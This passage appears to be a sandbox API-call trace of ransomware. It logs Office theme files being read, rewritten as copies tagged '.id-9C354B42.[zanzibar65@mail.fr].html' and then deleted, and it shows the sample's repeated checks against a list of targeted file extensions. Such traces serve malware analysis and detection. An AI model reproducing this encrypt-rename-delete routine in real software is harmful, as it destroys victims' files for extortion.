| out: lpNewFilePointer=0x0) returned 1 [0273.275] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.276] GetLastError () returned 0x0 [0273.276] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x48cf, lpOverlapped=0x0) returned 1 [0273.278] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0273.279] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.279] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0273.279] SetEndOfFile (hFile=0x38c) returned 1 [0273.279] CloseHandle (hObject=0x38c) returned 1 [0273.279] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.279] SetEndOfFile (hFile=0x384) returned 1 [0273.281] CloseHandle (hObject=0x384) returned 1 [0273.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.282] lstrlenW (lpString=".doc") returned 4 [0273.282] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.282] lstrlenW (lpString=".docx") returned 5 [0273.282] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.282] lstrlenW (lpString=".pdf") returned 4 [0273.282] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.282] lstrlenW (lpString=".xls") returned 4 [0273.282] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.282] lstrlenW (lpString=".xlsx") returned 5 [0273.282] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.282] lstrlenW (lpString=".ppt") returned 4 [0273.282] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.282] lstrlenW (lpString=".zip") returned 4 [0273.282] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.282] lstrlenW (lpString=".rar") returned 4 [0273.283] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString=".bz2") returned 4 [0273.283] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString=".7z") returned 3 [0273.283] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.283] lstrlenW (lpString=".dbf") returned 4 [0273.283] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.283] lstrlenW (lpString=".1cd") returned 4 [0273.283] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.283] lstrlenW (lpString=".jpg") returned 4 [0273.283] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.283] lstrlenW (lpString=".doc") returned 4 [0273.283] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString=".docx") returned 5 [0273.283] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.283] lstrlenW (lpString=".pdf") returned 4 [0273.283] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString=".xls") returned 4 [0273.283] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString=".xlsx") returned 5 [0273.283] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.283] lstrlenW (lpString=".ppt") returned 4 [0273.283] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.283] lstrlenW (lpString=".zip") returned 4 [0273.283] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.283] lstrlenW (lpString=".rar") returned 4 [0273.283] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.284] lstrlenW (lpString=".bz2") returned 4 [0273.284] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.284] lstrlenW (lpString=".7z") returned 3 [0273.284] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.284] lstrlenW (lpString=".dbf") returned 4 [0273.284] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.284] lstrlenW (lpString=".1cd") returned 4 [0273.284] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0273.284] lstrlenW (lpString=".jpg") returned 4 [0273.284] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.284] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.284] lstrlenW (lpString="Hardcover.eftx") returned 14 [0273.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.287] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=350689) returned 1 [0273.287] CloseHandle (hObject=0x384) returned 1 [0273.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0273.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.288] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.288] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.288] GetLastError () returned 0x0 [0273.288] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x559e1, lpOverlapped=0x0) returned 1 [0273.297] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0273.303] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.303] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0273.303] SetEndOfFile (hFile=0x38c) returned 1 [0273.303] CloseHandle (hObject=0x38c) returned 1 [0273.303] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.303] SetEndOfFile (hFile=0x384) returned 1 [0273.458] CloseHandle (hObject=0x384) returned 1 [0273.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0273.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.569] lstrlenW (lpString=".doc") returned 4 [0273.569] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.569] lstrlenW (lpString=".docx") returned 5 [0273.569] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.569] lstrlenW (lpString=".pdf") returned 4 [0273.570] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString=".xls") returned 4 [0273.570] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString=".xlsx") returned 5 [0273.570] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.570] lstrlenW (lpString=".ppt") returned 4 [0273.570] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.570] lstrlenW (lpString=".zip") returned 4 [0273.570] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString=".rar") returned 4 [0273.570] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString=".bz2") returned 4 [0273.570] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString=".7z") returned 3 [0273.570] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.570] lstrlenW (lpString=".dbf") returned 4 [0273.570] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.570] lstrlenW (lpString=".1cd") returned 4 [0273.570] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.570] lstrlenW (lpString=".jpg") returned 4 [0273.570] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.570] lstrlenW (lpString=".doc") returned 4 [0273.570] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString=".docx") returned 5 [0273.571] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.571] lstrlenW (lpString=".pdf") returned 4 [0273.571] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString=".xls") returned 4 [0273.571] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString=".xlsx") returned 5 [0273.571] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.571] lstrlenW (lpString=".ppt") returned 4 [0273.571] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.571] lstrlenW (lpString=".zip") returned 4 [0273.571] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString=".rar") returned 4 [0273.571] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString=".bz2") returned 4 [0273.571] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString=".7z") returned 3 [0273.571] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.571] lstrlenW (lpString=".dbf") returned 4 [0273.571] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.571] lstrlenW (lpString=".1cd") returned 4 [0273.571] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0273.571] lstrlenW (lpString=".jpg") returned 4 [0273.571] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.572] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.572] lstrlenW (lpString="Newsprint.eftx") returned 14 [0273.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.573] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=582401) returned 1 [0273.573] CloseHandle (hObject=0x384) returned 1 [0273.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0273.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.573] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.573] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0273.574] GetLastError () returned 0x0 [0273.574] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x8e301, lpOverlapped=0x0) returned 1 [0273.629] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0273.640] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.640] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0273.640] SetEndOfFile (hFile=0x2f8) returned 1 [0273.837] CloseHandle (hObject=0x2f8) returned 1 [0273.837] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.838] SetEndOfFile (hFile=0x384) returned 1 [0274.237] CloseHandle (hObject=0x384) returned 1 [0274.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0274.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.246] lstrlenW (lpString=".doc") returned 4 [0274.246] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.246] lstrlenW (lpString=".docx") returned 5 [0274.247] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.247] lstrlenW (lpString=".pdf") returned 4 [0274.247] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString=".xls") returned 4 [0274.247] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString=".xlsx") returned 5 [0274.247] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.247] lstrlenW (lpString=".ppt") returned 4 [0274.247] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.247] lstrlenW (lpString=".zip") returned 4 [0274.247] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString=".rar") returned 4 [0274.247] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString=".bz2") returned 4 [0274.247] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString=".7z") returned 3 [0274.247] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.247] lstrlenW (lpString=".dbf") returned 4 [0274.247] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.247] lstrlenW (lpString=".1cd") returned 4 [0274.247] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.247] lstrlenW (lpString=".jpg") returned 4 [0274.247] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.247] lstrlenW (lpString=".doc") returned 4 [0274.247] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.247] lstrlenW (lpString=".docx") returned 5 [0274.248] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.248] lstrlenW (lpString=".pdf") returned 4 [0274.248] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString=".xls") returned 4 [0274.248] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString=".xlsx") returned 5 [0274.248] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.248] lstrlenW (lpString=".ppt") returned 4 [0274.248] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.248] lstrlenW (lpString=".zip") returned 4 [0274.248] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString=".rar") returned 4 [0274.248] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString=".bz2") returned 4 [0274.248] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString=".7z") returned 3 [0274.248] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.248] lstrlenW (lpString=".dbf") returned 4 [0274.248] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.248] lstrlenW (lpString=".1cd") returned 4 [0274.248] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0274.248] lstrlenW (lpString=".jpg") returned 4 [0274.248] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.248] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.248] lstrlenW (lpString="Perspective.eftx") returned 16 [0274.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.249] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=21423) returned 1 [0274.249] CloseHandle (hObject=0x2e4) returned 1 [0274.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0274.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.252] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.252] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0274.253] GetLastError () returned 0x0 [0274.253] ReadFile (in: 